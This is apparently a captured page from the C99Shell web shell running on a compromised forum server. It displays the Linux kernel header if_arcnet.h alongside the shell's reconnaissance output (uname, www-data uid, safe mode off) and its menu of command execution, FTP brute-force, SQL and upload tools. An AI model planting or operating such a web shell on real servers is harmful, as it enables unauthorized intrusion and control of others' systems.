!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/include/linux/   drwxr-xr-x
Free 11.27 GB of 97.11 GB (11.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     if_arcnet.h (3.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * INET         An implementation of the TCP/IP protocol suite for the LINUX
 *              operating system.  INET is implemented using the  BSD Socket
 *              interface as the means of communication with the user level.
 *
 *              Global definitions for the ARCnet interface.
 *
 * Authors:     David Woodhouse and Avery Pennarun
 *
 *              This program is free software; you can redistribute it and/or
 *              modify it under the terms of the GNU General Public License
 *              as published by the Free Software Foundation; either version
 *              2 of the License, or (at your option) any later version.
 */

#ifndef _LINUX_IF_ARCNET_H
#define _LINUX_IF_ARCNET_H

#include <linux/if_ether.h>


/*
 *    These are the defined ARCnet Protocol ID's.
 */

/* CAP mode */
/* No macro but uses 1-8 */

/* RFC1201 Protocol ID's */
#define ARC_P_IP        212    /* 0xD4 */
#define ARC_P_IPV6        196    /* 0xC4: RFC2497 */
#define ARC_P_ARP        213    /* 0xD5 */
#define ARC_P_RARP        214    /* 0xD6 */
#define ARC_P_IPX        250    /* 0xFA */
#define ARC_P_NOVELL_EC        236    /* 0xEC */

/* Old RFC1051 Protocol ID's */
#define ARC_P_IP_RFC1051    240    /* 0xF0 */
#define ARC_P_ARP_RFC1051    241    /* 0xF1 */

/* MS LanMan/WfWg "NDIS" encapsulation */
#define ARC_P_ETHER        232    /* 0xE8 */

/* Unsupported/indirectly supported protocols */
#define ARC_P_DATAPOINT_BOOT    0    /* very old Datapoint equipment */
#define ARC_P_DATAPOINT_MOUNT    1
#define ARC_P_POWERLAN_BEACON    8    /* Probably ATA-Netbios related */
#define ARC_P_POWERLAN_BEACON2    243    /* 0xF3 */
#define ARC_P_LANSOFT        251    /* 0xFB - what is this? */
#define ARC_P_ATALK        0xDD

/* Hardware address length */
#define ARCNET_ALEN    1

/*
 * The RFC1201-specific components of an arcnet packet header.
 */
struct arc_rfc1201
{
    uint8_t  proto;        /* protocol ID field - varies        */
    uint8_t  split_flag;    /* for use with split packets        */
    __be16   sequence;        /* sequence number            */
    uint8_t  payload[0];    /* space remaining in packet (504 bytes)*/
};
#define RFC1201_HDR_SIZE 4


/*
 * The RFC1051-specific components.
 */
struct arc_rfc1051
{
    uint8_t proto;        /* ARC_P_RFC1051_ARP/RFC1051_IP    */
    uint8_t payload[0];        /* 507 bytes            */
};
#define RFC1051_HDR_SIZE 1


/*
 * The ethernet-encap-specific components.  We have a real ethernet header
 * and some data.
 */
struct arc_eth_encap
{
    uint8_t proto;        /* Always ARC_P_ETHER            */
    struct ethhdr eth;        /* standard ethernet header (yuck!)    */
    uint8_t payload[0];        /* 493 bytes                */
};
#define ETH_ENCAP_HDR_SIZE 14


struct arc_cap
{
    uint8_t proto;
    uint8_t cookie[sizeof(int)];   /* Actually NOT sent over the network */
    union {
        uint8_t ack;
        uint8_t raw[0];        /* 507 bytes */
    } mes;
};

/*
 * The data needed by the actual arcnet hardware.
 *
 * Now, in the real arcnet hardware, the third and fourth bytes are the
 * 'offset' specification instead of the length, and the soft data is at
 * the _end_ of the 512-byte buffer.  We hide this complexity inside the
 * driver.
 */
struct arc_hardware
{
    uint8_t  source,        /* source ARCnet - filled in automagically */
             dest,        /* destination ARCnet - 0 for broadcast    */
             offset[2];        /* offset bytes (some weird semantics)     */
};
#define ARC_HDR_SIZE 4

/*
 * This is an ARCnet frame header, as seen by the kernel (and userspace,
 * when you do a raw packet capture).
 */
struct archdr
{
    /* hardware requirements */
    struct arc_hardware hard;
     
    /* arcnet encapsulation-specific bits */
    union {
    struct arc_rfc1201   rfc1201;
    struct arc_rfc1051   rfc1051;
    struct arc_eth_encap eth_encap;
    struct arc_cap       cap;
    uint8_t raw[0];        /* 508 bytes                */
    } soft;
};

#endif                /* _LINUX_IF_ARCNET_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0047 ]--